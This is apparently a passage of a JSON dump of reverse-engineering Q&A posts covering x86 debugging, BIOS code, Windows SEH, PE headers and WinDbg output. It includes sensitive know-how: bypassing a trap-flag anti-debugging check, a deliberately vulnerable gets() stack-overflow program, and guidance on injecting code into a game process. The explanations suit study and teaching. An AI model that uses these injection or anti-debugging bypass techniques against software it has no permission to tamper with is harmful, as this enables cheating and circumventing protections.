    \n", "Title": "Trap Flag - Anti-debugging trick", "Tags": "|windows|x86|anti-debugging|", "Answer": "

    It is setting a trap flag with that xor instruction

    \n\n

    when it is run normally (not under debugger)

    \n\n

    the trap flag is triggered so the handler gets a chance to execute

    \n\n

    when the binary is run under debugger the trap flag is ignored \nand the handler doesn't get a chance to execute

    \n\n

    hard patch to point to the handler directly or simply change the eip in debugger for analyzing

    \n\n

    your screenshot looks like you are using ollydbg

    \n\n

    if so just press shift + f9 after setting a breakpoint at 0x401060 @ the seh handler that would pass the exception to the program and would bypass the trick

    \n" }, { "Id": "18981", "CreationDate": "2018-08-05T10:59:55.710", "Body": "

    I'm debugging an old PC BIOS and see a lot of what I assume are delay sequences, using 0-byte jump instructions (EB 00 = jmp short $+2).

    \n\n

    \"perform

    \n\n

    Why this particular instruction? I'm guessing it must have some desirable timing properties.

    \n\n

    The CPU in question is a 386SX clocked at 16MHz.

    \n", "Title": "Why are these 0-byte jumps used as a delay?", "Tags": "|disassembly|x86|bios|", "Answer": "

    Here's a fragment from the leaked AWARD BIOS source code (file COMMON.MAC):

    \n\n
    SIODELAY    MACRO               ; SHORT IODELAY\n        jmp short $+2\n        ENDM\n\nIODELAY     MACRO               ; NORMAL IODELAY\n        siodelay\n        siodelay\n        ENDM\n\nWAFORIO     MACRO               ; NORMAL IODELAY\n        siodelay\n        siodelay\n        siodelay\n        siodelay\n        siodelay\n        siodelay\n        ENDM\n\nNEWIODELAY      MACRO\n        out 0ebh,al              \n            ENDM  \n
    \n\n

    So apparently this was intended specifically as a delay after I/O operations, presumably to give the potentially slow hardware time to process the request from the CPU.

    \n\n

    I also found this in the OS/2 programming FAQ:

    \n\n
    \n

    Question: I looked at some code in ddk\\src\\dev\\mouse\\bus.asm which diddles with the interrupt controller, and it calls MyIODelay in\n between IN and OUT instructions. I'm not clear why these are required.\n It says something about letting the bus catch up - is this brain dead\n hardware or what?

    \n \n

    Answer: You were right first time - brain dead hardware. \"Some\" (not all) IO devices cannot do:

    \n\n
      in al,dx\n  or al,MASK\n  out dx,al\n
    \n \n

    as the CPU is faster than the IO peripherals, received wisdom is that\n you should put an arbitrary small delay between IO access to the same\n IO device. And most people use:

    \n\n
      in al,dx\n  or al,MASK\n     jmp next_instruction\nnext_instruction:\n  out dx,al\n
    \n \n

    The jump op has the additional \"benefit\" of flushing the CPUs\n instruction pipeline and thereby slowing down processing even more.

    \n
    \n\n

    It's not quite the pattern in your snippet so could be just an instance of cargo-cult copypasting.

    \n" }, { "Id": "18982", "CreationDate": "2018-08-05T11:49:29.020", "Body": "

    I want to generate this assembly code:

    \n\n
    mov ecx, <absolute address of func1>\ncall ecx\n
    \n\n

    How can I write and compile C code which generates this code?

    \n", "Title": "Generate this assembly from a c program", "Tags": "|assembly|c|", "Answer": "

    Usually the compiler will generate the call using the address of the function directly. But since in your case it uses a register, it reminds me of C++ vtables. \nSo in C, how about calling a pointer to a function? Something like this:

    \n\n
    void (*fptr)(void);\nvoid foo(void) {\n   /* some code */\n}\nfptr = foo;\n(*fptr)();   /* <-- your indirect call generated here */\n
    \n" }, { "Id": "18983", "CreationDate": "2018-08-05T11:57:44.370", "Body": "

    I'm debugging an old PC BIOS and it has most of its constant strings interspersed directly with the code, like this:

    \n\n

    \"enter

    \n\n

    As the comment notes, the function putsc will take the string as its argument, finding it via the return address! After iterating over the string, it actually patches the stack to make a proper return.

    \n\n

    \"enter

    \n\n

    My question, and I hope it's not too vague:

    \n\n

    Is or was passing constant arguments like this, sticking them right after the call, in any way a common technique for low-level (hand-written?) code such as this?

    \n\n

    Why would you even prefer to do it this way rather than using a table of strings elsewhere?

    \n", "Title": "Passing a (string) argument via the return address?", "Tags": "|disassembly|x86|bios|", "Answer": "

    This technique allows the code to be position-independent, since there are no explicit references to the specific address that holds the string. Instead, the call instruction will push onto the stack whatever address was current at the time. Depending on the assembler (if any) that was used to produce the code, this might simplify some things. If the code was entirely hand-crafted by typing in hex values, then having position-independence allows other instructions to be inserted without having to recalculate addresses.

    \n" }, { "Id": "18985", "CreationDate": "2018-08-05T14:54:14.263", "Body": "

    I am reversing a 32-bits ELF executable.

    \n\n

    I see something like:

    \n\n
    mov al, byte ptr ds:xxxxx\n
    \n\n

    xxxxx is an absolute address.\nWhat is the meaning of ds here?

    \n", "Title": "What does ds mean in mov instruction?", "Tags": "|assembly|", "Answer": "

    this answer is just to address the query in comment

    \n\n
    \n

    And for example fs[0] on win32 points on TIb structure. Is there\n another way to get this address ? (I mean where is it in the 4Gb\n address Space of process?)

    \n
    \n\n

    in user mode the thread environment block is pointed by fs:[0]

    \n\n

    you can view it in the virtual address space using any of the following commands under windbg

    \n\n
    0:000> ? fs\nEvaluate expression: 59 = 0000003b\n0:000> dd fs:[0] l 8\n003b:00000000  0012f5b0 00130000 0012d000 00000000\n003b:00000010  00001e00 00000000 7ffdf000 00000000\n0:000> dd 3b:00000000 l8\n003b:00000000  0012f5b0 00130000 0012d000 00000000\n003b:00000010  00001e00 00000000 7ffdf000 00000000\n0:000> dd @$thread l8\n7ffdf000  0012f5b0 00130000 0012d000 00000000\n7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000> dd @$teb l8\n7ffdf000  0012f5b0 00130000 0012d000 00000000\n7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000> ? @$teb\nEvaluate expression: 2147348480 = 7ffdf000\n0:000> ? @$thread\nEvaluate expression: 2147348480 = 7ffdf000\n
    \n\n

    confirming using ds selector

    \n\n
    0:000> ? ds\nEvaluate expression: 35 = 00000023\n0:000> dd ds:[7ffdf000] l8\n0023:7ffdf000  0012f5b0 00130000 0012d000 00000000\n0023:7ffdf010  00001e00 00000000 7ffdf000 00000000\n
    \n\n

    in x86 cs es ds and ss all will point to same virtual address \nbut fs and gs wont as seen below

    \n\n
    0:000> ? ds\nEvaluate expression: 35 = 00000023\n0:000> dd ds:[7ffdf000] l8\n0023:7ffdf000  0012f5b0 00130000 0012d000 00000000\n0023:7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000> ? cs\nEvaluate expression: 27 = 0000001b\n0:000> dd cs:[7ffdf000] l8\n001b:7ffdf000  0012f5b0 00130000 0012d000 00000000\n001b:7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000> dd es:[7ffdf000] l8\n0023:7ffdf000  0012f5b0 00130000 0012d000 00000000\n0023:7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000> dd ss:[7ffdf000] l8\n0023:7ffdf000  0012f5b0 00130000 0012d000 00000000\n0023:7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000> dd fs:[7ffdf000] l8\n003b:7ffdf000  ???????? ???????? ???????? ????????\n003b:7ffdf010  ???????? ???????? ???????? ????????\n0:000> dd gs:[7ffdf000] l8\n0000:f000  ???????? ???????? ???????? ????????\n0000:f010  ???????? ???????? ???????? ????????\n
    \n" }, { "Id": "18995", "CreationDate": "2018-08-06T12:30:02.300", "Body": "

    I have read this kind of code in some tutorials :

    \n\n
    push handler ; Address of handler function\npush FS:[0] ; Address of previous handler\nmov FS:[0],ESP ; Install new Handler\n
    \n\n

    I do not understand something: for me the 2 push are not in the good order. \nESP points on old handler ?\nBut all tutorials i have read works like this... so if can anyone explain me...

    \n", "Title": "Win32 SEH address", "Tags": "|seh|", "Answer": "

    fs:[0] points to ETHREAD
    \nwhose first is member NtTib which again is a structure
    \nwhose first member is _EXCEPTION_REGISTRATION_RECORD

    \n\n
    0:000> dt ntdll!_TEB NtTib.* @$thread\n   +0x000 NtTib  : \n      +0x000 ExceptionList : 0x0010f76c _EXCEPTION_REGISTRATION_RECORD\n      +0x004 StackBase : 0x00110000 Void\n      +0x008 StackLimit : 0x0010d000 Void\n      +0x00c SubSystemTib : (null) \n      +0x010 FiberData : 0x00001e00 Void\n      +0x010 Version : 0x1e00\n      +0x014 ArbitraryUserPointer : (null) \n      +0x018 Self   : 0x7ffde000 _NT_TIB\n\n\n\n0:000> ? @$thread\nEvaluate expression: 2147344384 = 7ffde000\n
    \n\n

    the exception registration record contains the chain of exception handlers

    \n\n
    0:000> dx -r2 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x10f76c)\n((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x10f76c)                 : 0x10f76c [Type: _EXCEPTION_REGISTRATION_RECORD *]\n    [+0x000] Next             : 0x10f91c [Type: _EXCEPTION_REGISTRATION_RECORD *]\n        [+0x000] Next             : 0xffffffff [Type: _EXCEPTION_REGISTRATION_RECORD *]\n        [+0x004] Handler          : 0x77ade115 [Type: _EXCEPTION_DISPOSITION (*)(_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]\n    [+0x004] Handler          : 0x77ade115 [Type: _EXCEPTION_DISPOSITION (*)(_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]\n        [Type: _EXCEPTION_DISPOSITION (_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]\n
    \n\n

    like this

    \n\n
    0:000> !exchain\n0010f76c: ntdll!_except_handler4+0 (77ade115)\n  CRT scope  0, filter: ntdll!LdrpDoDebuggerBreak+32 (77b605ac)\n                func:   ntdll!LdrpDoDebuggerBreak+36 (77b605b0)\n0010f91c: ntdll!_except_handler4+0 (77ade115)\n  CRT scope  0, filter: ntdll!_LdrpInitialize+db (77b40ee4)\n                func:   ntdll!_LdrpInitialize+f0 (77b40ef9)\nInvalid exception stack at ffffffff\n
    \n\n

    when you push handler

    \n\n

    esp will hold the handler

    \n\n
    esp  0x12345678 _SEH_HANDLER\n
    \n\n

    when you push fs:[0] you push a pointer to

    \n\n
    dx -r2 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x10f76c)\n\n0:000> dd esp\n0010f750  779f8159 00000000 00000000 7ffdf000\n\n0:000> a \n77b605a6 push fs:[0]\npush fs:[0]\n77b605ad \n\n0:000> p\n\n0:000> dd esp\n0010f74c  **0010f76c** 779f8159 00000000 00000000\n0010f75c  7ffdf000 00000000 0010f750 77ade115\n
    \n\n

    mov fs:[0] esp

    \n\n

    with this you swap out the old EXCEPTION_REGISTRATION_RECORD WITH NEW ONE

    \n" }, { "Id": "19005", "CreationDate": "2018-08-07T13:25:46.090", "Body": "

    I was following a tutorial that introduced stack overflows. Here is the c Code.

    \n\n
    #include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n\nint main(int argc, char **argv)\n{\n  volatile int modified;\n  char buffer[64];\n\n  modified = 0;\n  gets(buffer);\n\n  if(modified != 0) {\n      printf(\"you have changed the 'modified' variable\\n\");\n  } else {\n      printf(\"Try again?\\n\");\n  }\n}\n
    \n\n

    and heres the disassembled main function

    \n\n
    0x080483f4 <main+0>:    push   ebp\n0x080483f5 <main+1>:    mov    ebp,esp\n0x080483f7 <main+3>:    and    esp,0xfffffff0\n0x080483fa <main+6>:    sub    esp,0x60\n0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0\n0x08048405 <main+17>:   lea    eax,[esp+0x1c]\n0x08048409 <main+21>:   mov    DWORD PTR [esp],eax\n0x0804840c <main+24>:   call   0x804830c <gets@plt>\n0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]\n0x08048415 <main+33>:   test   eax,eax\n0x08048417 <main+35>:   je     0x8048427 <main+51>\n0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500\n0x08048420 <main+44>:   call   0x804832c <puts@plt>\n0x08048425 <main+49>:   jmp    0x8048433 <main+63>\n0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529\n0x0804842e <main+58>:   call   0x804832c <puts@plt>\n0x08048433 <main+63>:   leave\n0x08048434 <main+64>:   ret\n
    \n\n

    I understand that when it says sub esp,60 it's making a stack frame for the Main function. So why does it initialize the modified variable(mov DWORD PTR [esp+0x5c],0x0) at 5c in the stack frame and not at the bottom? Also, why does it only make room for 60 items(sub esp,60) when it knows there will be set length of 64?

    \n", "Title": "Why code subtracts 60 from esp when the length of the variable is 64", "Tags": "|stack|buffer-overflow|", "Answer": "

    Because it's 0x60 i.e. 96 in decimal. So it actually allocates 64 bytes for the buffer, then 4 bytes for modified. And the rest is 0x1\u0421, which compiler added as a spare in the debug build.

    \n" }, { "Id": "19007", "CreationDate": "2018-08-07T18:35:30.033", "Body": "

    On Windows, I can use tools like Process Explorer and Process Hacker to view in-memory strings generated at runtime of a given process. How can I accomplish this same task on Ubuntu?

    \n", "Title": "How can I view in-memory strings of a process on Linux (Ubuntu)?", "Tags": "|dynamic-analysis|strings|", "Answer": "

    Another way to read a process's memory in Linux isto read the psaudo-file /proc/<PID>/mem, which provides raw access to the memory space, as seen by the process, at offsets retrieved from /proc/<PID>/maps, which provides information about how the memory is laid out.

    \n" }, { "Id": "19015", "CreationDate": "2018-08-08T17:56:15.940", "Body": "

    I'm very new in software reverse engineering. I created a very simple c program using Visual Studio and the code is listed below.

    \n\n
    #include <stdio.h>\n\nvoid main()\n{\n    int x, y, z;\n\n    while(1)\n    {\n        x = 0;\n        y = 1;\n        do\n        {\n            printf(\"%d\\n\", x);\n\n            z = x + y;\n            x = y;\n            y = z;\n        } while (x < 255);\n    }\n\n}\n
    \n\n

    After compiled the program, I use x64dbg opened the compiled output file project1.exe.

    \n\n

    \"enter

    \n\n

    Why for such a simple program, x64dbg displays this huge amount of assembly code (this seems happen to other disassembler too)? See the scroll bar you get it. Is it because x64dbg show all memory info here? If so, that means I can find all other programs running on my computer from this panel, right?

    \n\n

    Thanks in advance for any clarification. This is probably a noob question but I can't find the answer online.

    \n", "Title": "Does x64dbg display the whole memory info even for a simple program opened?", "Tags": "|memory|x64dbg|", "Answer": "

    The image in query can't be viewed.

    \n

    I assume you are asking ----

    \n
    \n

    why I can't see the assembly code pertaining to my code portion only\nand what are those extra assembly code which I didn't seem to write\nstaring at me

    \n
    \n

    The apparently extra code that is shown while you disassemble a console application are inserted by the compiler and is called c runtime initialization code aka CRT code.

    \n

    A console application needs an input mechanism and an output mechanism\nso before your code is called the compiler puts those code in place\nyou can find the source for such code in your visual studio directory under

    \n
    C:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src\\vcruntime>cd ..\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src>ls\narm  concrt  i386  linkopts  stl  vccorlib  vcruntime  x64\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src>cd vcruntime\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src\\vcruntime>ls *main*\ndll_dllmain.cpp       exe_main.cpp     exe_wmain.cpp     ManagedMain.cpp\ndll_dllmain_stub.cpp  exe_winmain.cpp  exe_wwinmain.cpp  vcruntime_dllmain.cpp\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src\\vcruntime>cat exe_main.cpp\n//\n// exe_wwinmain.cpp\n//\n//      Copyright (c) Microsoft Corporation. All rights reserved.\n//\n// The mainCRTStartup() entry point, linked into client executables that\n// uses main().\n//\n#define _SCRT_STARTUP_MAIN\n#include "exe_common.inl"\n\n\n\nextern "C" int mainCRTStartup()\n{\n    return __scrt_common_main();\n}\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src\\vcruntime> \n
    \n

    If you don't want to see such code do not create a console app\nbut write a bare-minimum windows app and handle all the input and output mechanisms on your own.

    \n

    for example, your code can be rewritten like this:

    \n
    #include <windows.h>\n\nvoid mymain() {\n    int x, y, z;\n    char buff[0x100];\n\n    while(1)\n    {\n        x = 0;\n        y = 1;\n        do\n        {\n            wsprintf(buff , "%d\\n", x);\n            MessageBoxA(NULL,buff,"test",MB_OK);\n\n            z = x + y;\n            x = y;\n            y = z;\n        } while (x < 255);\n    }\n\n}\n
    \n

    and compiled an linked like this from vc command prompt (you can set these options from project settings also but i wont get into discussing property pages here)

    \n
    cl /GS-  /Zi /W4 /analyze /nologo /Od bare.cpp /link /release /entry:mymain /subsystem:windows user32.lib\n
    \n

    /GS disables buffer security checks /entry says to the compile i dont want all the stuff you drop into my binary just start from here.

    \n

    /subsystem:windows says I don't want your black screen blinking at me.

    \n

    I will write on my own hyperspace and read through telepathy and bingo you get a slim and trim 3 kb excutable with just this disassembly.

    \n
    dumpbin /disasm bare.exe\nMicrosoft (R) COFF/PE Dumper Version 14.14.26430.0\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n\nDump of file bare.exe\n\nFile Type: EXECUTABLE IMAGE\n\n?mymain@@YAXXZ:\n  00401000: 55                 push        ebp\n  00401001: 8B EC              mov         ebp,esp\n  00401003: 81 EC 0C 01 00 00  sub         esp,10Ch\n  00401009: B8 01 00 00 00     mov         eax,1\n  0040100E: 85 C0              test        eax,eax\n  00401010: 74 5D              je          0040106F\n  00401012: C7 45 FC 00 00 00  mov         dword ptr [ebp-4],0\n            00\n  00401019: C7 45 F8 01 00 00  mov         dword ptr [ebp-8],1\n            00\n  00401020: 8B 4D FC           mov         ecx,dword ptr [ebp-4]\n  00401023: 51                 push        ecx\n  00401024: 68 10 20 40 00     push        402010h\n  00401029: 8D 95 F4 FE FF FF  lea         edx,[ebp-10Ch]\n  0040102F: 52                 push        edx\n  00401030: FF 15 04 20 40 00  call        dword ptr [__imp__wsprintfA]\n  00401036: 83 C4 0C           add         esp,0Ch\n  00401039: 6A 00              push        0\n  0040103B: 68 14 20 40 00     push        402014h\n  00401040: 8D 85 F4 FE FF FF  lea         eax,[ebp-10Ch]\n  00401046: 50                 push        eax\n  00401047: 6A 00              push        0\n  00401049: FF 15 00 20 40 00  call        dword ptr [__imp__MessageBoxA@16]\n  0040104F: 8B 4D FC           mov         ecx,dword ptr [ebp-4]\n  00401052: 03 4D F8           add         ecx,dword ptr [ebp-8]\n  00401055: 89 4D F4           mov         dword ptr [ebp-0Ch],ecx\n  00401058: 8B 55 F8           mov         edx,dword ptr [ebp-8]\n  0040105B: 89 55 FC           mov         dword ptr [ebp-4],edx\n  0040105E: 8B 45 F4           mov         eax,dword ptr [ebp-0Ch]\n  00401061: 89 45 F8           mov         dword ptr [ebp-8],eax\n  00401064: 81 7D FC FF 00 00  cmp         dword ptr [ebp-4],0FFh\n            00\n  0040106B: 7C B3              jl          00401020\n  0040106D: EB 9A              jmp         00401009\n  0040106F: 8B E5              mov         esp,ebp\n  00401071: 5D                 pop         ebp\n  00401072: C3                 ret\n_wsprintfA:\n  00401073: FF 25 04 20 40 00  jmp         dword ptr [__imp__wsprintfA]\n_MessageBoxA@16:\n  00401079: FF 25 00 20 40 00  jmp         dword ptr [__imp__MessageBoxA@16]\n\n  Summary\n\n        1000 .rdata\n        1000 .reloc\n        1000 .text\n
    \n

    EDIT

    \n

    The screen shot seems to be inlined after I posted the answer\nand the code in screen shot belongs to ntdll.dll and not your module. ntdll is a dll that is mandatory for any application and it provides the\nlow level resources and routines for transitioning into kernel space.

    \n

    Go to modules pane (Alt+m I would guess as x64dbg uses ollydbg ui shorcuts ) and select your module and follow its entry point to look at your code.

    \n" }, { "Id": "19039", "CreationDate": "2018-08-11T19:04:35.817", "Body": "

    I am following this tutorial: \nenter link description here

    \n\n

    Though it uses Olly I am following with IDA.

    \n\n

    Basically i am tying to catch where a popup decision is taking place in the program.\nI though i placed a BP on the right spot.\nWhat I don't understand is this:\nWhen I placed only one BP on this location:\n\"enter\nand I run the debugger, it stops on this BP. I press F8 and it continues to \"push esi\", F8 and I get the pop up message I was looking for.

    \n\n

    However, when I place another BP on this location - this one was deducted from the tutorial which uses Olly.\n\"enter\nAnd i follow the same debugging procedure; I press F8 and it continues to \"push esi\", F8 and It stoops on the new BP @0043F812 and only after pressing F8 again i get the popup after it calls \"DialogBoxParamA\".

    \n\n

    So my question is why do I not get to DialogBoxParamA @43F818 when i obly place 1 BP? How can i jump from \"DispatchMessageA\" which is an external all to @43F818 ?

    \n\n

    I'll try to visualize this:

    \n\n

    \"enter

    \n\n

    Should not I be able to follow the same trace regardless on the number of BPs?

    \n\n

    Below are the 2 trace logs.\n1 - trace log with only 1 BP, this one is very

    \n\n
    Thread  Address Instruction Result\n00002378    .text:sub_442C44+2D4    Memory layout changed: 505 segments Memory layout changed: 505 segments\n00002378            ST0=FFFFFFFFFFFFFFFF ST1=FFFFFFFFFFFFFFFF ST2=FFFFFFFFFFFFFFFF ST3=FFFFFFFFFFFFFFFF ST4=FFFFFFFFFFFFFFFF ST5=FFFFFFFFFFFFFFFF ST6=FFFFFFFFFFFFFFFF ST7=FFFFFFFFFFFFFFFF CTRL=FFFF CS=0023 DS=002B ES=002B FS=0053 GS=002B SS=002B EAX=00000000 EBX=00000000 ECX=741B2E09 EDX=00000000 ESI=0018E6C0 EDI=00000000 EBP=00000000 ESP=0018E6BC EFL=00200246 XMM0= XMM1= XMM2= XMM3= XMM4= XMM5= XMM6= XMM7= MXCSR=FFFFFFFF MM0= MM1= MM2= MM3= \n00002378    .text:sub_442C44+2D4    call    TranslateMessage; Call Procedure    ECX=0018E6C0 EDX=0000000F ESP=0018E6C0 EFL=00200244 \n00002378    .text:sub_442C44+2D9    Memory layout changed: 522 segments Memory layout changed: 522 segments\n00002378    .text:sub_442C44+2D9    push    esi; lpMsg  ESP=0018E6BC EFL=00200246 \n
    \n\n
    \n\n

    ************* 2nd TRACE with 2 BP ****************

    \n\n
    \n\n
    Thread  Address Instruction Result\n00002280    .text:sub_442C44+2D4    Memory layout changed: 505 segments Memory layout changed: 505 segments\n00002280            ST0=FFFFFFFFFFFFFFFF ST1=FFFFFFFFFFFFFFFF ST2=FFFFFFFFFFFFFFFF ST3=FFFFFFFFFFFFFFFF ST4=FFFFFFFFFFFFFFFF ST5=FFFFFFFFFFFFFFFF ST6=FFFFFFFFFFFFFFFF ST7=FFFFFFFFFFFFFFFF CTRL=FFFF CS=0023 DS=002B ES=002B FS=0053 GS=002B SS=002B EAX=00000000 EBX=00000000 ECX=741B2E09 EDX=00000000 ESI=0018E6C0 EDI=00000000 EBP=00000000 ESP=0018E6BC EFL=00200246 XMM0= XMM1= XMM2= XMM3= XMM4= XMM5= XMM6= XMM7= MXCSR=FFFFFFFF MM0= MM1= MM2= MM3= \n00002280    .text:sub_442C44+2D4    call    TranslateMessage; Call Procedure    ECX=0018E6C0 EDX=0000000F ESP=0018E6C0 EFL=00200244 \n00002280    .text:sub_442C44+2D9    push    esi; lpMsg  ESP=0018E6BC EFL=00200246 \n00002280    .text:sub_442C44+2DA    call    DispatchMessageA; Call Procedure    ESP=0018E6B8 \n00002280    .text:DispatchMessageA  jmp     ds:__imp_DispatchMessageA; Indirect Near Jump   \n00002280    75FC7BBB        \n00002280    75FC7BBD    Memory layout changed: 522 segments Memory layout changed: 522 segments\n00002280    75FC7BBD        ESP=0018E6B4 \n00002280    75FC7BBE        EBP=0018E6B4 \n00002280    75FC7BC0        ESP=0018E6B0 \n00002280    75FC7BC2        ESP=0018E6AC \n00002280    75FC7BC5        ESP=0018E6A8 \n00002280    75FC76D7        ESP=0018E6A4 \n00002280    75FC76D9        ESP=0018E6A0 \n00002280    75FC76DE        EAX=0018E694 EBP=0018E6A4 ESP=0018E66C EFL=00200280 PF=0 ZF=0 SF=1 \n00002280    75FC76E3        EFL=00200246 PF=1 ZF=1 SF=0 \n00002280    75FC76E5        \n00002280    75FC76E8        \n00002280    75FC76EB        \n00002280    75FC76F2        \n00002280    75FC76F8        ECX=00B123FC \n00002280    75FC76FA        ZF=0 \n00002280    75FC76FC        \n00002280    75FC7702        EAX=00BB6A10 ECX=C0540000 EDX=00000000 EFL=00200200 PF=0 \n00002280    75FC7707        EBX=00BB6A10 EFL=00200202 \n00002280    75FC7709        \n00002280    75FC770B        \n00002280    75FC770D        \n00002280    75FC7713        EAX=00B123FC \n00002280    75FC7715        \n00002280    75FC7717        EAX=00000113 \n00002280    75FC771A    Memory layout changed: 527 segments Memory layout changed: 527 segments\n00002280    75FC771A        CF=1 SF=1 \n00002280    75FC771F        \n00002280    75FC788E        CF=0 PF=1 ZF=1 SF=0 \n00002280    75FC7895        \n00002280    75FC789B        CF=1 AF=1 ZF=0 SF=1 \n00002280    75FC78A0        \n00002280    75FC78A6        PF=0 \n00002280    75FC78AB        \n00002280    75FC7725        EDX=00000113 \n00002280    75FC7728        CF=0 PF=1 AF=0 ZF=1 SF=0 \n00002280    75FC772E        \n00002280    75FC792D        EAX=00000000 \n00002280    75FC7930        \n00002280    75FC7932        \n00002280    75FC7740        EAX=00BB6A10 \n00002280    75FC7742        PF=0 ZF=0 \n00002280    75FC7744        \n00002280    75FC774A        EDI=0018E6C8 \n00002280    75FC774D        ECX=0000000A \n00002280    75FC774F        \n00002280    75FC7752        EAX=0043F070 \n00002280    75FC7758    Memory layout changed: 527 segments Memory layout changed: 527 segments\n00002280    75FC7758        \n00002280    75FC775B        PF=1 ZF=1 \n00002280    75FC775F        \n00002280    75FC7765        PF=0 AF=1 ZF=0 \n00002280    75FC7768        \n00002280    75FC776E        EAX=FFFFFED3 \n00002280    75FC7774        SF=1 \n00002280    75FC7777        \n00002280    75FC777D        EAX=00000119 \n00002280    75FC7782        CF=1 PF=1 \n00002280    75FC7784        \n00002280    75FC778A        EAX=0000000A \n00002280    75FC778E        EAX=00000001 CF=0 PF=0 AF=0 SF=0 \n00002280    75FC7791        EAX=FFFFFFFE \n00002280    75FC7793        EAX=00000000 PF=1 ZF=1 \n00002280    75FC7796        ECX=00000000 \n00002280    75FC7798        PF=0 ZF=0 \n00002280    75FC779B        \n00002280    75FC779E        PF=1 ZF=1 \n00002280    75FC77A0        \n00002280    75FC77A6        ESP=0018E668 \n00002280    75FC77A8        EAX=00BB6A38 \n00002280    75FC77AB        ESP=0018E664 \n00002280    75FC77AC        ESP=0018E660 \n00002280    75FC77AF        ESP=0018E65C \n00002280    75FC77B1        ESP=0018E658 \n00002280    75FC77B4        ESP=0018E654 \n00002280    75FC77B6        ESP=0018E650 \n00002280    75FC77B9        ESP=0018E64C \n00002280    75FC77BF        EAX=000B3E35 EBX=00000113 ECX=EED71FD0 EDX=00000072 ESI=00B123FC EDI=00000000 EBP=0018E5A0 ESP=0018C1C4 PF=0 AF=1 ZF=0 \n00002280    .text:sub_43F070+7A8    call    **DialogBoxParamA**; Call Procedure EAX=0018BA94 ECX=00000000 EDX=00000001 EBP=0018BFF0 ESP=00189C28 EFL=00200200 AF=0 \n00002280    .text:sub_43F070:loc_43F81D Memory layout changed: 532 segments Memory layout changed: 532 segments\n00002280    .text:sub_43F070:loc_43F81D cmp     byte_4A6894, 0; Compare Two Operands\n
    \n", "Title": "IDA PRO does miss calls when tracing", "Tags": "|ida|debugging|debuggers|patch-reversing|", "Answer": "

    TranslateMessage & DispatchgMessage are the standard windows functions when you are dealing with WinAPI and messages loops.

    \n\n

    When a DispatchMessage is called, the message stored in esi is processed by Windows and then the message handler in the application is called and this is where you see your DialogBoxParamA.

    \n\n

    The windows handler is registered in one of the fields of the WNDCLASS structure, namely lpfnWndProc. When reversing WinAPI application the most obvious place to look for interesting code is to locate the message handler code.

    \n\n

    So in summary, when you have your 2nd breakpoint in the windows handler code, when this messages is processed you end before DialogBoxParamA. If you don';t have it there , messages is processed, Popup displayed, and you continue where you were before.

    \n" }, { "Id": "19043", "CreationDate": "2018-08-12T02:12:15.250", "Body": "

    Typically when I write a game-hacking executable after reversing a game, I go about code-caving to find where I can inject my code as need be. Well, while reversing a few such executables from someone else, I've noticed they choose to always inject their code at Game.exe+100. This has me wondering if it's just easier to start doing that and calling it done.

    \n\n

    However, my question here is for those a bit more familiar with the PE format than I am at the moment (to be honest, my brain is swimming at the moment trying to wrap my head around the resources I've Googled up to this point):

    \n\n

    Why offset 0x100 from the module base address? Once a PE is mapped into memory, are there documented and/or well-known offsets from the image base that are pretty much always safe to overwrite/write to? If so, which offsets might they be? From there, I'll look to understand what each of those sections represent, as well as how many bytes could be used from each offset.

    \n\n

    By all means, instead of laboring an answer, feel free to point me to the right chart or information that details the specific offsets. I'm overwhelmed with information right now and a bit confused by what all I'm looking at (like seeing the same offset number being used for various sections, etc.). Thanks!

    \n", "Title": "Why is it \"safe\" to write to ModuleBase.exe+0x100, and possibly other header offsets after PE is mapped to memory?", "Tags": "|pe|offset|game-hacking|", "Answer": "

    Short answer: Because your average program will never access those values.

    \n\n

    Long answer: Peter ferrie's answer states there's usually nothing present at that offset. That is not true. The shortest possible valid header for a Portable Executable is 0xc8 long. But that's for a program with a single section, no imports (or anything else that would require a data directory), no DOS stub and no Rich header (impossible with Visual Studio without patching the linker). The shortest header for a realistic (but still mostly academic) program with imports and two sections (real programs usually have 4\u20137 sections) will be at least 0x160 long. Add the default DOS stub and you're at 0x1a0. Add the Rich Header and that's typically another 0x30-0x80 bytes. In fact you rarely see PEs whose headers fit into the first 512 bytes. So at 0x100 you will be overwriting data, however, the OS no longer uses that data once the loader is done loading the image into memory, so as long as the program doesn't use that data either(e.g. loading resources), it'll be fine.

    \n\n

    It's probably worth noting that all the offsets after 0x40 are variable, so without examining the target binary first you don't even know what you're overwriting at 0x100. Since you'll have to call VirtualProtectEx anyway (whether it's to make a data section executable or a code section writable), you might as well call VirtualAllocEx and not bother with finding code caves at all. If I had to guess why the other guy is always injecting to 0x100, I'd say it's because that way he's running from a known address (unless ASLR is enabled and the target binary is relocatable) so he doesn't have to relocate his code before injecting/make it position independent. It's lazy, sloppy, and unsafe.

    \n" }, { "Id": "19061", "CreationDate": "2018-08-14T15:02:47.940", "Body": "

